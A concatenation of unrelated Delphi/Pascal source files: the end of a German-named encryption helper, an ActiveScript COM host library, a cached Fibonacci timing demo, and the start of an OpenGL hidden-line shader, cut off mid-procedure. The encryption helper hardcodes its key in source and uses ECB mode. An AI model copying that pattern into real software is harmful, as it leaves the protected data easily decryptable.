fCodec.ChainModeId := 'native.ECB';
fCodec.Password := fKey;
end;
destructor TAllgemeinObj.Destroy;
begin
FreeAndNil(fLog);
FreeAndNil(fIni);
FreeAndNil(fLibrary);
FreeAndNil(fCodec);
inherited;
end;
procedure TAllgemeinObj.Init;
begin
fKey := 'Au!7pÜeä%"o9)$cCÖ6543?=Qq@Gc';
end;
function TAllgemeinObj.Entschluesseln(aValue: string): string;
var
fEncoding : TEncoding;
begin
fCodec.DecryptString(Result, aValue, FEncoding.ANSI);
end;
function TAllgemeinObj.Verschluesseln(aValue: string): string;
var
fEncoding : TEncoding;
begin
fCodec.EncryptString(aValue, Result, FEncoding.ANSI);
end;
end.
|
unit CatActiveScript32;
{
This is an ugly hack to allow two IActiveScriptParse, one linked to
CLSID for 64-bit and this one linked to the CLSID for 32-bit
In case you want to try both without having to recompile your binary
}
{*******************************************************}
{ ActiveScript library }
{ version 1.1 }
{ Author: }
{ Serhiy Perevoznyk }
{ serge_perevoznyk@hotmail.com }
{ }
{*******************************************************}
(* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is ActiveScript Library
*
* The Initial Developer of the Original Code is
* Serhiy Perevoznyk
*
*
* ***** END LICENSE BLOCK ***** *)
interface
{$I Catarinka.inc}
uses
{$IFDEF DXE2_OR_UP}
Winapi.Windows, System.SysUtils, Winapi.ActiveX, System.Win.ComObj, System.Contnrs,
System.Classes, Vcl.Dialogs, System.Variants, Vcl.Forms;
{$ELSE}
Windows, SysUtils, ActiveX, ComObj, Contnrs, Classes, Dialogs,
{$IFNDEF VER130}
Variants,
{$ENDIF}
Forms;
{$ENDIF}
const
xSCATID_ActiveScript = '{F0B7A1A1-9847-11cf-8F20-00805F2CD064}';
xSCATID_ActiveScriptParse = '{F0B7A1A2-9847-11cf-8F20-00805F2CD064}';
xSID_IActiveScript = '{BB1A2AE1-A4F9-11cf-8F20-00805F2CD064}';
xSID_IActiveScriptParse = '{BB1A2AE2-A4F9-11cf-8F20-00805F2CD064}';
xSID_IActiveScriptParseProcedureOld ='{1CFF0050-6FDD-11d0-9328-00A0C90DCAA9}';
xSID_IActiveScriptParseProcedure = '{AA5B6A80-B834-11d0-932F-00A0C90DCAA9}';
xSID_IActiveScriptError = '{EAE1BA61-A4ED-11cf-8F20-00805F2CD064}';
xSID_IActiveScriptSite = '{DB01A1E3-A42B-11cf-8F20-00805F2CD064}';
xSID_IActiveScriptSiteWindow = '{D10F6761-83E9-11cf-8F20-00805F2CD064}';
xSID_IActiveScriptSiteInterruptPoll ='{539698A0-CDCA-11CF-A5EB-00AA0047A063}';
xSID_IBindEventHandler = '{63CDBCB0-C1B1-11d0-9336-00A0C90DCAA9}';
xSID_IActiveScriptStats = '{B8DA6310-E19B-11d0-933C-00A0C90DCAA9}';
xCATID_ActiveScript: TGUID = xSCATID_ActiveScript;
xCATID_ActiveScriptParse: TGUID = xSCATID_ActiveScriptParse;
xIID_IActiveScript: TGUID = xSID_IActiveScript;
xIID_IActiveScriptParse: TGUID = xSID_IActiveScriptParse;
xIID_IActiveScriptParseProcedureOld: TGUID = xSID_IActiveScriptParseProcedureOld;
xIID_IActiveScriptParseProcedure: TGUID = xSID_IActiveScriptParseProcedure;
xIID_IActiveScriptSite: TGUID = xSID_IActiveScriptSite;
xIID_IActiveScriptSiteWindow: TGUID = xSID_IActiveScriptSiteWindow;
xIID_IActiveScriptSiteInterruptPoll: TGUID = xSID_IActiveScriptSiteInterruptPoll;
xIID_IActiveScriptError: TGUID = xSID_IActiveScriptError;
xIID_IBindEventHandler: TGUID = xSID_IBindEventHandler;
xIID_IActiveScriptStats: TGUID = xSID_IActiveScriptStats;
// Constants used by ActiveX Scripting:
//
(* IActiveScript::AddNamedItem() input flags *)
xSCRIPTITEM_ISVISIBLE = $00000002;
xSCRIPTITEM_ISSOURCE = $00000004;
xSCRIPTITEM_GLOBALMEMBERS = $00000008;
xSCRIPTITEM_ISPERSISTENT = $00000040;
xSCRIPTITEM_CODEONLY = $00000200;
xSCRIPTITEM_NOCODE = $00000400;
xSCRIPTITEM_ALL_FLAGS =(xSCRIPTITEM_ISSOURCE or
xSCRIPTITEM_ISVISIBLE or
xSCRIPTITEM_ISPERSISTENT or
xSCRIPTITEM_GLOBALMEMBERS or
xSCRIPTITEM_NOCODE or
xSCRIPTITEM_CODEONLY);
(* IActiveScript::AddTypeLib() input flags *)
xSCRIPTTYPELIB_ISCONTROL = $00000010;
xSCRIPTTYPELIB_ISPERSISTENT = $00000040;
xSCRIPTTYPELIB_ALL_FLAGS = (xSCRIPTTYPELIB_ISCONTROL or
xSCRIPTTYPELIB_ISPERSISTENT);
(* IActiveScriptParse::AddScriptlet() and
IActiveScriptParse::ParseScriptText() input flags *)
xSCRIPTTEXT_DELAYEXECUTION = $00000001;
xSCRIPTTEXT_ISVISIBLE = $00000002;
xSCRIPTTEXT_ISEXPRESSION = $00000020;
xSCRIPTTEXT_ISPERSISTENT = $00000040;
xSCRIPTTEXT_HOSTMANAGESSOURCE = $00000080;
xSCRIPTTEXT_ALL_FLAGS = (xSCRIPTTEXT_DELAYEXECUTION or
xSCRIPTTEXT_ISVISIBLE or
xSCRIPTTEXT_ISEXPRESSION or
xSCRIPTTEXT_ISPERSISTENT or
xSCRIPTTEXT_HOSTMANAGESSOURCE);
(* IActiveScriptParseProcedure::ParseProcedureText() input flags *)
xSCRIPTPROC_HOSTMANAGESSOURCE = $00000080;
xSCRIPTPROC_IMPLICIT_THIS = $00000100;
xSCRIPTPROC_IMPLICIT_PARENTS = $00000200;
xSCRIPTPROC_ALL_FLAGS = (xSCRIPTPROC_HOSTMANAGESSOURCE or
xSCRIPTPROC_IMPLICIT_THIS or
xSCRIPTPROC_IMPLICIT_PARENTS);
(* IActiveScriptSite::GetItemInfo() input flags *)
xSCRIPTINFO_IUNKNOWN = $00000001;
xSCRIPTINFO_ITYPEINFO = $00000002;
xSCRIPTINFO_ALL_FLAGS = (xSCRIPTINFO_IUNKNOWN or
xSCRIPTINFO_ITYPEINFO);
(* IActiveScript::Interrupt() Flags *)
xSCRIPTINTERRUPT_DEBUG = $00000001;
xSCRIPTINTERRUPT_RAISEEXCEPTION = $00000002;
xSCRIPTINTERRUPT_ALL_FLAGS = (xSCRIPTINTERRUPT_DEBUG or
xSCRIPTINTERRUPT_RAISEEXCEPTION);
(* IActiveScriptStats::GetStat() values *)
xSCRIPTSTAT_STATEMENT_COUNT = 1;
xSCRIPTSTAT_INSTRUCTION_COUNT = 2;
xSCRIPTSTAT_INTSTRUCTION_TIME = 3;
xSCRIPTSTAT_TOTAL_TIME = 4;
(* script state values *)
type
xtagSCRIPTSTATE = integer;
xSCRIPTSTATE = xtagSCRIPTSTATE;
const
xSCRIPTSTATE_UNINITIALIZED = $00000000;
xSCRIPTSTATE_INITIALIZED = $00000005;
xSCRIPTSTATE_STARTED = $00000001;
xSCRIPTSTATE_CONNECTED = $00000002;
xSCRIPTSTATE_DISCONNECTED = $00000003;
xSCRIPTSTATE_CLOSED = $00000004;
(* script thread state values *)
type
xtagSCRIPTTHREADSTATE = integer;
xSCRIPTTHREADSTATE = xtagSCRIPTTHREADSTATE;
const
xSCRIPTTHREADSTATE_NOTINSCRIPT = $00000000;
xSCRIPTTHREADSTATE_RUNNING = $00000001;
(* Thread IDs *)
type
xSCRIPTTHREADID = DWORD;
const
xSCRIPTTHREADID_CURRENT = xSCRIPTTHREADID(-1);
xSCRIPTTHREADID_BASE = xSCRIPTTHREADID(-2);
xSCRIPTTHREADID_ALL = xSCRIPTTHREADID(-3);
type
xIActiveScriptSite = interface;
xIActiveScriptSiteWindow = interface;
xIActiveScript = interface;
xIActiveScriptParse = interface;
xIActiveScriptParseProcedure = interface;
xIActiveScriptError = interface;
LPCOLESTR = PWideChar;
xIActiveScriptSite = interface(IUnknown)
[xSID_IActiveScript]
function GetLCID(out plcid: LCID): HResult; stdcall;
function GetItemInfo(
pstrName: LPCOLESTR;
dwReturnMask: DWORD;
out ppiunkItem: IUnknown;
out ppti: ITypeInfo): HResult; stdcall;
function GetDocVersionString(out pbstrVersion: WideString): HResult; stdcall;
function OnScriptTerminate(
var pvarResult: OleVariant;
var pexcepinfo: EXCEPINFO): HResult; stdcall;
function OnStateChange(ssScriptState: xSCRIPTSTATE): HResult; stdcall;
function OnScriptError(
const pscripterror: xIActiveScriptError): HResult; stdcall;
function OnEnterScript: HResult; stdcall;
function OnLeaveScript: HResult; stdcall;
end;
xIActiveScriptError = interface(IUnknown)
[xSID_IActiveScriptError]
function GetExceptionInfo(out pexcepinfo: EXCEPINFO): HResult; stdcall;
function GetSourcePosition(
out pdwSourceContext: DWORD;
out pulLineNumber: ULONG;
out plCharacterPosition: Integer): HResult; stdcall;
function GetSourceLineText(out pbstrSourceLine: WideString): HResult; stdcall;
end;
xIActiveScriptSiteWindow = interface(IUnknown)
[xSID_IActiveScriptSiteWindow]
function GetWindow(out phwnd: HWND): HResult; stdcall;
function EnableModeless(fEnable: BOOL): HResult; stdcall;
end;
xIActiveScriptSiteInterruptPoll = interface(IUnknown)
[xSID_IActiveScriptSiteInterruptPoll]
function QueryContinue: HResult; stdcall;
end;
xIActiveScript = interface(IUnknown)
[xSID_IActiveScript]
function SetScriptSite(const pass: xIActiveScriptSite): HResult; stdcall;
function GetScriptSite(
const riid: TGUID;
out ppvObject: Pointer): HResult; stdcall;
function SetScriptState(ss: xSCRIPTSTATE): HResult; stdcall;
function GetScriptState(out pssState: xSCRIPTSTATE): HResult; stdcall;
function Close: HResult; stdcall;
function AddNamedItem(
pstrName: LPCOLESTR;
dwFlags: DWORD): HResult; stdcall;
function AddTypeLib(
const rguidTypeLib: TGUID;
dwMajor: DWORD;
dwMinor: DWORD;
dwFlags: DWORD): HResult; stdcall;
function GetScriptDispatch(
pstrItemName: LPCOLESTR;
out ppdisp: IDispatch): HResult; stdcall;
function GetCurrentScriptThreadID(
out pstidThread: xSCRIPTTHREADID): HResult; stdcall;
function GetScriptThreadID(dwWin32ThreadId: DWORD;
out pstidThread: xSCRIPTTHREADID): HResult; stdcall;
function GetScriptThreadState(
stidThread: xSCRIPTTHREADID;
out pstsState: xSCRIPTTHREADSTATE): HResult; stdcall;
function InterruptScriptThread(
stidThread: xSCRIPTTHREADID;
var pexcepinfo: EXCEPINFO;
dwFlags: DWORD): HResult; stdcall;
function Clone(out ppscript: xIActiveScript): HResult; stdcall;
end;
xIActiveScriptParse = interface(IUnknown)
[xSID_IActiveScriptParse]
function InitNew: HResult; stdcall;
function AddScriptlet(
pstrDefaultName: LPCOLESTR;
pstrCode: LPCOLESTR;
pstrItemName: LPCOLESTR;
pstrSubItemName: LPCOLESTR;
pstrEventName: LPCOLESTR;
pstrDelimiter: LPCOLESTR;
dwSourceContextCookie: DWORD;
ulStartingLineNumber: ULONG;
dwFlags: DWORD;
out pbstrName: WideString;
out pexcepinfo: EXCEPINFO): HResult; stdcall;
function ParseScriptText(
pstrCode: LPCOLESTR;
pstrItemName: LPCOLESTR;
const punkContext: IUnknown;
pstrDelimiter: LPCOLESTR;
dwSourceContextCookie: DWORD;
ulStartingLineNumber: ULONG;
dwFlags: DWORD;
out pvarResult: OleVariant;
out pexcepinfo: EXCEPINFO): HResult; stdcall;
end;
xIActiveScriptParseProcedureOld = interface(IUnknown)
[xSID_IActiveScriptParseProcedureOld]
function ParseProcedureText(
pstrCode: LPCOLESTR;
pstrFormalParams: LPCOLESTR;
pstrItemName: LPCOLESTR;
const punkContext: IUnknown;
pstrDelimiter: LPCOLESTR;
dwSourceContextCookie: DWORD;
ulStartingLineNumber: ULONG;
dwFlags: DWORD;
out ppdisp: IDispatch): HResult; stdcall;
end;
xIActiveScriptParseProcedure = interface(IUnknown)
[xSID_IActiveScriptParseProcedure]
function ParseProcedureText(
pstrCode: LPCOLESTR;
pstrFormalParams: LPCOLESTR;
pstrProcedureName: LPCOLESTR;
pstrItemName: LPCOLESTR;
const punkContext: IUnknown;
pstrDelimiter: LPCOLESTR;
dwSourceContextCookie: DWORD;
ulStartingLineNumber: ULONG;
dwFlags: DWORD;
out ppdisp: IDispatch): HResult; stdcall;
end;
xIBindEventHandler = interface(IUnknown)
[xSID_IBindEventHandler]
function BindHandler(
pstrEvent: LPCOLESTR;
const pdisp: IDispatch): HResult; stdcall;
end;
xIActiveScriptStats = interface(IUnknown)
[xSID_IActiveScriptStats]
function GetStat(
stid: DWORD;
out pluHi: ULONG;
out pluLo: ULONG): HResult; stdcall;
function GetStatEx(
const guid: TGUID;
out pluHi: ULONG;
out pluLo: ULONG): HResult; stdcall;
function ResetStats: HResult; stdcall;
end;
type
TOnActiveScriptError = procedure(Sender : TObject; Line, Pos : integer; ASrc : string; ADescription : string) of object;
TXSyScriptGlobalObjects = class(TObject)
private
FIntfList: IInterfaceList;
FNamedList: TStrings;
FGlobalMembers: TStrings;
public
constructor Create;
function GetNamedItemCount: Integer;
function GetNamedItemName(I: Integer): string;
procedure AddNamedIntf(const AName: string; AIntf: IUnknown);
function FindNamedItemIntf(const AName: string): IUnknown;
destructor Destroy; override;
property NamedItemCount: Integer read GetNamedItemCount;
property NamedItemName[I: Integer]: string read GetNamedItemName;
end;
TXSyActiveScriptSite = class(TComponent, xIActiveScriptSite)
private
FUseSafeSubset : boolean;
FDisp: OleVariant;
FGlobalObjects : TXSyScriptGlobalObjects;
FOnError : TOnActiveScriptError;
FParser: xIActiveScriptParse;
FScriptLanguage : string;
procedure CreateScriptEngine(Language: string);
procedure CloseScriptEngine;
protected
{ IActiveScriptSite }
function GetLCID(out plcid: LongWord): HResult; stdcall;
function GetItemInfo(
pstrName: LPCOLESTR;
dwReturnMask: DWORD;
out ppiunkItem: IUnknown;
out ppti: ITypeInfo): HResult; stdcall;
function GetDocVersionString(out pbstrVersion: WideString): HResult; stdcall;
function OnScriptTerminate(var pvarResult: OleVariant; var pexcepinfo: EXCEPINFO): HResult; stdcall;
function OnStateChange(ssScriptState: xtagSCRIPTSTATE): HResult; stdcall;
function OnScriptError(const pscripterror: xIActiveScriptError): HResult; stdcall;
function OnEnterScript: HResult; stdcall;
function OnLeaveScript: HResult; stdcall;
public
FEngine: xIActiveScript; // FD
constructor Create(AOwner : TComponent); override;
destructor Destroy; override;
function RunExpression(ACode : Widestring) : string;
procedure Execute(ACode : WideString);
procedure AddNamedItem(AName : string; AIntf : IUnknown);
procedure AddGlobalMember(AName:string); //FD
property ScriptInterface : OleVariant read FDisp;
published
property ScriptLanguage : string read FScriptLanguage write FScriptLanguage;
property OnError : TOnActiveScriptError read FOnError write FOnError;
property UseSafeSubset : boolean read FUseSafeSubset write FUseSafeSubset default false;
end;
TXSyActiveScriptWindow = class(TXSyActiveScriptSite, xIActiveScriptSiteWindow)
protected
{IActiveSriptSiteWindow}
function GetWindow(out phwnd: HWND): HResult; stdcall;
function EnableModeless(fEnable: BOOL): HResult; stdcall;
end;
procedure GetActiveScriptParseX(List: TStrings);
implementation
const
INTERFACESAFE_FOR_UNTRUSTED_CALLER = $00000001 // Caller of interface may be untrusted
;
INTERFACESAFE_FOR_UNTRUSTED_DATA = $00000002 // Data passed into interface may be untrusted
;
INTERFACE_USES_DISPEX = $00000004 // Object knows to use IDispatchEx
;
INTERFACE_USES_SECURITY_MANAGER = $00000008 // Object knows to use IInternetHostSecurityManager
;
procedure GetActiveScriptParseX(List: TStrings);
var
ProgID: string;
function ValidProgID: Boolean;
var
PID: string;
begin
if Length(ProgID) > 7 then
Result := AnsiCompareStr('.Encode', Copy(ProgID, Length(ProgID)-6, 7)) <> 0
else
Result := True;
// Exclude XML script engine
if CompareText(Copy(ProgID, 1, 3), 'XML') = 0 then
Result := False;
// Exclude "signed" script engines
PID := UpperCase(ProgID);
if Pos('SIGNED', PID) <> 0 then
Result := False;
end;
var
EnumGUID: IEnumGUID;
Fetched: Cardinal;
Guid: TGUID;
Rslt: HResult;
CatInfo: ICatInformation;
I, BufSize: Integer;
ClassIDKey: HKey;
S: string;
Buffer: array[0..255] of Char;
begin
List.Clear;
Rslt := CoCreateInstance(CLSID_StdComponentCategoryMgr, nil,
CLSCTX_INPROC_SERVER, ICatInformation, CatInfo);
if Succeeded(Rslt) then
begin
OleCheck(CatInfo.EnumClassesOfCategories(1, @xCATID_ActiveScriptParse, 0, nil, EnumGUID));
while EnumGUID.Next(1, Guid, Fetched) = S_OK do
begin
try
ProgID := ClassIDToProgID(Guid);
if ValidProgID then
List.Add(ProgID);
except
ProgID := ClassIDToProgID(StringToGUID(Buffer));
List.Add('Invalid Entry In Categories');
end;
end;
end else
begin
if RegOpenKey(HKEY_CLASSES_ROOT, 'CLSID', ClassIDKey) <> 0 then
try
I := 0;
while RegEnumKey(ClassIDKey, I, Buffer, SizeOf(Buffer)) = 0 do
begin
S := Format('%s\Implemented Categories\%s',[Buffer, { do not localize }
GUIDToString(xCATID_ActiveScriptParse)]);
// FD: add XE2 or up compatibility
{$IFDEF DXE2_OR_UP}
if RegQueryValue(ClassIDKey, PWideChar(WideString(S)), nil, BufSize) = 0 then
{$ELSE}
if RegQueryValue(ClassIDKey, PChar(S), nil, BufSize) = 0 then
{$ENDIF}
begin
ProgID := ClassIDToProgID(StringToGUID(Buffer));
if ValidProgID then
List.Add(ProgID);
end;
Inc(I);
end;
finally
RegCloseKey(ClassIDKey);
end;
end;
end;
{ TXSyActiveScriptSite }
constructor TXSyActiveScriptSite.Create(AOwner : TComponent);
begin
inherited;
FScriptLanguage := 'VBScript';
FGlobalObjects := TXSyScriptGlobalObjects.Create;
FUseSafeSubset := false;
end;
destructor TXSyActiveScriptSite.Destroy;
begin
CloseScriptEngine;
FGlobalObjects.Free;
inherited;
end;
procedure TXSyActiveScriptSite.AddGlobalMember(AName:string); //FD
begin
FGlobalObjects.FGlobalMembers.Add(aname)
end;
procedure TXSyActiveScriptSite.AddNamedItem(AName: string;
AIntf: IUnknown);
begin
FGlobalObjects.AddNamedIntf(AName, AIntf);
end;
procedure TXSyActiveScriptSite.CreateScriptEngine(
Language: string);
const
NULL_GUID: TGUID = '{00000000-0000-0000-0000-000000000000}';
var
ScriptCLSID : TGUID;
LanguageW : WideString;
hr : HRESULT;
i : integer;
Disp: IDispatch;
pOs : IObjectSafety;
dwSupported : DWORD;
dwEnabled : DWORD;
begin
CloseScriptEngine;
LanguageW := Language;
if CLSIDFromProgID(PWideChar(LanguageW), ScriptCLSID) <> S_OK then
ScriptCLSID := NULL_GUID;
FEngine := CreateComObject(ScriptCLSID) as xIActiveScript;
if FUseSafeSubset then
begin
dwSupported := 0;
dwEnabled := 0;
FEngine.QueryInterface(IObjectSafety, pOS);
if Assigned(pOS) then
begin
pOS.GetInterfaceSafetyOptions(IDispatch, @dwSupported, @dwEnabled);
if (INTERFACE_USES_SECURITY_MANAGER and dwSupported) = INTERFACE_USES_SECURITY_MANAGER then
begin
dwEnabled := dwEnabled or INTERFACE_USES_SECURITY_MANAGER;
end;
pOS.SetInterfaceSafetyOptions(IDispatch, INTERFACE_USES_SECURITY_MANAGER, dwEnabled);
end;
end;
//writeln(GUIDToString(IActiveScriptParse));
hr := FEngine.QueryInterface(xIActiveScriptParse, FParser);
OLECHECK(hr);
hr := FEngine.SetScriptSite(Self);
OLECHECK(hr);
hr := FParser.InitNew();
OLECHECK(hr);
for I := 0 to FGlobalObjects.NamedItemCount - 1 do begin
if FGlobalObjects.FGlobalMembers.IndexOf(FGlobalObjects.NamedItemName[I]) = -1 then begin
// FD
FEngine.AddNamedItem(PWideChar(WideString(FGlobalObjects.NamedItemName[I])), xSCRIPTITEM_ISVISIBLE);
end else begin
FEngine.AddNamedItem(PWideChar(WideString(FGlobalObjects.NamedItemName[I])), xSCRIPTITEM_ISVISIBLE or xSCRIPTITEM_GLOBALMEMBERS);
end;
end;
FEngine.GetScriptDispatch(nil, Disp);
FDisp := Disp;
end;
procedure TXSyActiveScriptSite.CloseScriptEngine;
begin
FParser := nil;
if FEngine <> nil then FEngine.Close;
FEngine := nil;
FDisp := Unassigned;
end;
function TXSyActiveScriptSite.RunExpression(ACode: WideString): string;
var
AResult: OleVariant;
ExcepInfo: TEXCEPINFO;
begin
//CreateScriptEngine(FScriptLanguage); //FD: commented out to allow SCRIPTTEXT_ISPERSISTENT
try
if FParser.ParseScriptText(PWideChar(ACode), nil, nil, nil, 0, 0,
xSCRIPTTEXT_ISEXPRESSION, AResult, ExcepInfo) = S_OK
then
Result := AResult
else
Result := '';
except end; // FD
end;
procedure TXSyActiveScriptSite.Execute(ACode: Widestring);
var
Result: OleVariant;
ExcepInfo: TEXCEPINFO;
begin
CreateScriptEngine(FScriptLanguage);
FParser.ParseScriptText(PWideChar(ACode), nil, nil, nil, 0, 0, xSCRIPTTEXT_ISPERSISTENT, Result, ExcepInfo); // FD
FEngine.SetScriptState(xSCRIPTSTATE_CONNECTED);
end;
function TXSyActiveScriptSite.GetDocVersionString(
out pbstrVersion: WideString): HResult;
begin
Result := E_NOTIMPL;
end;
function TXSyActiveScriptSite.GetItemInfo(pstrName: LPCOLESTR;
dwReturnMask: DWORD;
out ppiunkItem: IUnknown;
out ppti: ITypeInfo): HResult; stdcall;
begin
if @ppiunkItem <> nil then Pointer(ppiunkItem) := nil;
if @ppti <> nil then Pointer(ppti) := nil;
if (dwReturnMask and xSCRIPTINFO_IUNKNOWN) <> 0
then ppiunkItem := FGlobalObjects.FindNamedItemIntf(pstrName);
Result := S_OK;
end;
function TXSyActiveScriptSite.GetLCID(out plcid: LongWord): HResult;
begin
plcid := GetSystemDefaultLCID;
Result := S_OK;
end;
function TXSyActiveScriptSite.OnEnterScript: HResult;
begin
result := S_OK;
end;
function TXSyActiveScriptSite.OnLeaveScript: HResult;
begin
result := S_OK;
end;
function TXSyActiveScriptSite.OnScriptError(
const pscripterror: xIActiveScriptError): HResult;
var
wCookie : Dword;
ExcepInfo : TExcepInfo;
CharNo : integer;
LineNo : DWORD;
SourceLineW : WideString;
SourceLine : string;
Desc : string;
begin
Result := S_OK;
wCookie := 0;
LineNo := 0;
CharNo := 0;
if Assigned(pscripterror) then
begin
pscripterror.GetExceptionInfo(ExcepInfo);
Desc := ExcepInfo.bstrDescription;
pscripterror.GetSourcePosition(wCookie, LineNo, CharNo);
pscripterror.GetSourceLineText(SourceLineW);
SourceLine := SourceLineW;
if Assigned(FOnError) then
FOnError(Self, LineNo, CharNo, SourceLine, Desc);
end;
end;
function TXSyActiveScriptSite.OnScriptTerminate(var pvarResult: OleVariant;
var pexcepinfo: EXCEPINFO): HResult;
begin
Result := S_OK;
end;
function TXSyActiveScriptSite.OnStateChange(
ssScriptState: xtagSCRIPTSTATE): HResult;
begin
case ssScriptState of
xSCRIPTSTATE_UNINITIALIZED:;
xSCRIPTSTATE_INITIALIZED:;
xSCRIPTSTATE_STARTED:;
xSCRIPTSTATE_CONNECTED:;
xSCRIPTSTATE_DISCONNECTED:;
xSCRIPTSTATE_CLOSED:;
end;
Result := S_OK;
end;
{ TXSyActiveScriptWindow }
function TXSyActiveScriptWindow.EnableModeless(fEnable: BOOL): HResult;
begin
Result := S_OK;
end;
function TXSyActiveScriptWindow.GetWindow(out phwnd: HWND): HResult;
begin
if (Owner is TCustomForm) then
begin
phwnd := (Owner as TCustomForm).Handle;
Result := S_OK;
end
else
begin
phwnd := 0;
Result := S_FALSE;
end;
end;
{ TXSyScriptGlobalObjects }
procedure TXSyScriptGlobalObjects.AddNamedIntf(const AName: string; AIntf: IUnknown);
begin
FNamedList.Add(AName);
FIntfList.Add(AIntf);
end;
constructor TXSyScriptGlobalObjects.Create;
begin
inherited Create;
FNamedList := TStringList.Create;
FIntfList := TInterfaceList.Create;
FGlobalMembers:=TStringList.create;// FD
end;
destructor TXSyScriptGlobalObjects.Destroy;
begin
inherited;
FNamedList.Free;
FGlobalMembers.free; // FD
end;
function TXSyScriptGlobalObjects.FindNamedItemIntf(const AName: string): IUnknown;
var
I: Integer;
begin
I := FNamedList.IndexOf(AName);
if I >= 0 then
Result := FIntfList[I]
else
Result := nil;
end;
function TXSyScriptGlobalObjects.GetNamedItemCount: Integer;
begin
Result := FNamedList.Count;
end;
function TXSyScriptGlobalObjects.GetNamedItemName(I: Integer): string;
begin
Result := FNamedList[I];
end;
end.
|
namespace CirrusCache;
interface
type
ConsoleApp = class
public
class method Main;
end;
implementation
class method ConsoleApp.Main;
begin
// We create array of 100 random numbers from 0 to 40 which will be used
// as arguments when calculating Fibonacci numbers
// So both cached and non-cached Fibonacci number calculators will use the
// same set of arguments
// After this we loop thru argument array and calculate Fibonacci number for
// each element
// After this simple statistics is displayed
var lRndGenerator: Random := new Random();
var lArgumentArray: array of Int32 := new Int32[100];
for I: Int32 := 0 to length(lArgumentArray)-1 do
lArgumentArray[I] := lRndGenerator.Next(40);
var lFibonacciCalculator: Calculator := new FibonacciNumberCalculator();
Console.WriteLine('Non-cached calculations started');
var lCalculationsStart: DateTime := DateTime.Now;
for I: Int32 := 0 to length(lArgumentArray)-1 do
lFibonacciCalculator.Calculate(lArgumentArray[I]);
var lCalculationsEnd: DateTime := DateTime.Now;
var lNonCachedCalculationTime: Double := (lCalculationsEnd-lCalculationsStart).TotalMilliseconds;
Console.WriteLine('Non-cached calculations finished');
Console.WriteLine(String.Format('Calculations took {0} ms', lNonCachedCalculationTime));
Console.WriteLine();
Console.WriteLine();
lFibonacciCalculator := new CachedFibonacciNumberCalculator();
Console.WriteLine('Cached calculations started');
lCalculationsStart := DateTime.Now;
for I: Int32 := 0 to length(lArgumentArray)-1 do
lFibonacciCalculator.Calculate(lArgumentArray[I]);
lCalculationsEnd := DateTime.Now;
var lCachedCalculationTime: Double := (lCalculationsEnd-lCalculationsStart).TotalMilliseconds;
Console.WriteLine('Cached calculations finished');
Console.WriteLine(String.Format('Calculations took {0} ms', lCachedCalculationTime));
Console.WriteLine();
Console.WriteLine(String.Format('Cached calculations were {0:#.0} times faster', lNonCachedCalculationTime/lCachedCalculationTime));
Console.ReadLine();
end;
end. |
//
// VXScene Component Library, based on GLScene http://glscene.sourceforge.net
//
{
A shader that renders hidden (back-faced) lines differently from visible
(front) lines. Polygon offset is used to displace fragments depths a little
so that there is no z-fighting in rendering the same geometry multiple times.
}
unit VXS.HiddenLineShader;
interface
{$I VXScene.inc}
uses
System.Classes,
VXS.OpenGL,
VXS.Material,
VXS.CrossPlatform,
VXS.Scene,
VXS.Color,
VXS.BaseClasses,
VXS.RenderContextInfo,
VXS.State,
VXS.Context;
type
TVXLineSettings = class(TVXUpdateAbleObject)
private
FColor: TVXColor;
FWidth: Single;
FPattern: GLushort;
FForceMaterial: Boolean;
procedure SetPattern(const value: GLushort);
procedure SetColor(const v: TVXColor);
procedure SetWidth(const Value: Single);
procedure SetForceMaterial(v: boolean);
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Apply(var rci: TVXRenderContextInfo);
procedure UnApply(var rci: TVXRenderContextInfo);
published
property Width: Single read FWidth write SetWidth;
property Color: TVXColor read FColor write SetColor;
property Pattern: GLushort read FPattern write SetPattern default $FFFF;
{ Set ForceMaterial to true to enforce the application of the line settings
for objects that sets their own color, line width and pattern. }
property ForceMaterial: Boolean read FForceMaterial write SetForceMaterial
default false;
end;
TVXHiddenLineShader = class(TVXShader)
private
FPassCount: integer;
FLineSmooth: Boolean;
FSolid: Boolean;
FBackGroundColor: TVXColor;
FFrontLine: TVXLineSettings;
FBackLine: TVXLineSettings;
FLighting: Boolean;
FShadeModel: TVXShadeModel;
procedure SetlineSmooth(v: boolean);
procedure SetSolid(v: boolean);
procedure SetBackgroundColor(AColor: TVXColor);
procedure SetLighting(v: boolean);
procedure SetShadeModel(const val: TVXShadeModel);
protected
procedure DoApply(var rci: TVXRenderContextInfo; Sender: TObject); override;
function DoUnApply(var rci: TVXRenderContextInfo): Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property FrontLine: TVXLineSettings read FFrontLine write FFrontLine;
property BackLine: TVXLineSettings read FBackLine write FBackLine;
{ Line smoothing control }
property LineSmooth: Boolean read FlineSmooth write SetlineSmooth default
false;
{ Solid controls if you can see through the front-line wireframe. }
property Solid: Boolean read FSolid write SetSolid default false;
{ Color used for solid fill. }
property BackgroundColor: TVXColor read FBackgroundColor write
SetBackgroundColor;
{ When Solid is True, determines if lighting or background color is used. }
property SurfaceLit: Boolean read FLighting write SetLighting default true;
{ Shade model.
Default is "Smooth". }
property ShadeModel: TVXShadeModel read FShadeModel write SetShadeModel
default smDefault;
end;
// ------------------------------------------------------------------
implementation
// ------------------
// ------------------ TVXLineSettings ------------------
// ------------------
constructor TVXLineSettings.Create(AOwner: TPersistent);
begin
inherited;
FColor := TVXColor.Create(Self);
FColor.Initialize(clrGray20);
FWidth := 2;
Pattern := $FFFF;
ForceMaterial := false;
end;
destructor TVXLineSettings.Destroy;
begin
FColor.Free;
inherited;
end;
procedure TVXLineSettings.SetPattern(const value: GLushort);
begin
if FPattern <> value then
begin
FPattern := Value;
NotifyChange(self);
end;
end;
procedure TVXLineSettings.SetColor(const v: TVXColor);
begin
FColor.Color := v.Color;
NotifyChange(Self);
end;
procedure TVXLineSettings.SetWidth(const Value: Single);
begin
FWidth := Value;
NotifyChange(Self);
end;
var
IgnoreMatSave: boolean;
procedure TVXLineSettings.Apply(var rci: TVXRenderContextInfo);
begin
rci.VXStates.LineWidth := Width;
glColor4fv(Color.AsAddress);
if Pattern <> $FFFF then
begin
